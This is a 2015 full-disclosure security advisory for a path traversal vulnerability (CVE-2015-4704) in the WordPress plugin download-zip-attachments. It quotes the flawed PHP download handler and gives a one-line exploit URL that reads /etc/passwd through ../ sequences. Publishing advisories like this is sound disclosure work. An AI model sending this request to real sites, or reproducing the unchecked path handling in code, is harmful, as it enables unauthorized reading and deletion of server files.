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List:       full-disclosure
Subject:    [FD] Remote file download vulnerability in download-zip-attachments v1.0
From:       "Larry W. Cashdollar" <larry0 () me ! com>
Date:       2015-06-26 0:44:56
Message-ID: 80E0C5D3-3335-4C39-B261-617EB99E4081 () me ! com
[Download RAW message or body]

Title: Remote file download vulnerability in download-zip-attachments v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-10
Download Site: https://wordpress.org/plugins/download-zip-attachments/
Vendor: rivenvirus
Vendor Notified: 2015-06-15
Vendor Contact: https://profiles.wordpress.org/rivenvirus/
Advisory: http://www.vapid.dhs.org/advisory.php?v=129
Description: 
Download all attachments from the post into a zip file.

Vulnerability:
from download-zip-attachments/download.php makes no checks to verify the download path is with \
in the specified upload directory.

<?php
if(isset($_REQUEST['File']) && !empty($_REQUEST['File'])){
  define('WP_USE_THEMES', false);
  require('../../../wp-load.php');    
  require "create_zip_file.php";
  $uploads = wp_upload_dir(); 
  $tmp_location = $uploads['path']."/".$_REQUEST['File'];
  //echo $tmp_location;
  $zip = new CreateZipFile;
  $zip->forceDownload($tmp_location,false);     
  unlink($tmp_location); 
  exit;
}

CVEID: 2015-4704
OSVDB:
Exploit Code:
	• http://www.example.com/wp-content/plugins/download-zip-attachments/download.php?File=../../../../../../../../etc/passwd


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